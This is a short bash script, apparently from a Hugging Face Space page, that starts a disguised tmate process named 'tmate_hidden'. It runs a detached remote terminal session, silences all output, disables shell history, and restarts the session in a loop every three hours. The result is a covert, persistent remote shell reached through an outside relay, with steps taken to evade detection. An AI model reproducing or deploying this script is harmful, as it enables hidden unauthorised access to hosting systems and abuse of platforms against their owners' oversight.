Spaces:
Paused
Paused
| # Silence all output | |
| exec 1>/dev/null 2>&1 | |
| # Disable shell history | |
| unset HISTFILE | |
| export HISTFILE=/dev/null | |
| # Remove stale socket to avoid startup errors | |
| rm -f /tmp/tmate.sock | |
| # Start tmate daemon managing the socket in background | |
| tmate_hidden -S /tmp/tmate.sock -f & | |
| # Wait a bit to ensure daemon starts | |
| sleep 2 | |
| # Create detached tmate session silently | |
| tmate_hidden -S /tmp/tmate.sock new-session -d | |
| # Wait for session to be ready | |
| tmate_hidden -S /tmp/tmate.sock wait tmate-ready | |
| # Loop to keep session alive and restart every 3 hours | |
| start_time=$(date +%s) | |
| while true; do | |
| # Restart daemon and session if daemon dies | |
| if ! pgrep -f "tmate_hidden -S /tmp/tmate.sock" > /dev/null; then | |
| tmate_hidden -S /tmp/tmate.sock -f & | |
| sleep 2 | |
| tmate_hidden -S /tmp/tmate.sock new-session -d | |
| tmate_hidden -S /tmp/tmate.sock wait tmate-ready | |
| start_time=$(date +%s) | |
| fi | |
| # Restart every 3 hours | |
| current_time=$(date +%s) | |
| elapsed=$((current_time - start_time)) | |
| if [ "$elapsed" -ge 10800 ]; then | |
| pkill -f "tmate_hidden -S /tmp/tmate.sock" | |
| sleep 1 | |
| tmate_hidden -S /tmp/tmate.sock -f & | |
| sleep 2 | |
| tmate_hidden -S /tmp/tmate.sock new-session -d | |
| tmate_hidden -S /tmp/tmate.sock wait tmate-ready | |
| start_time=$(date +%s) | |
| fi | |
| sleep 10 | |
| done |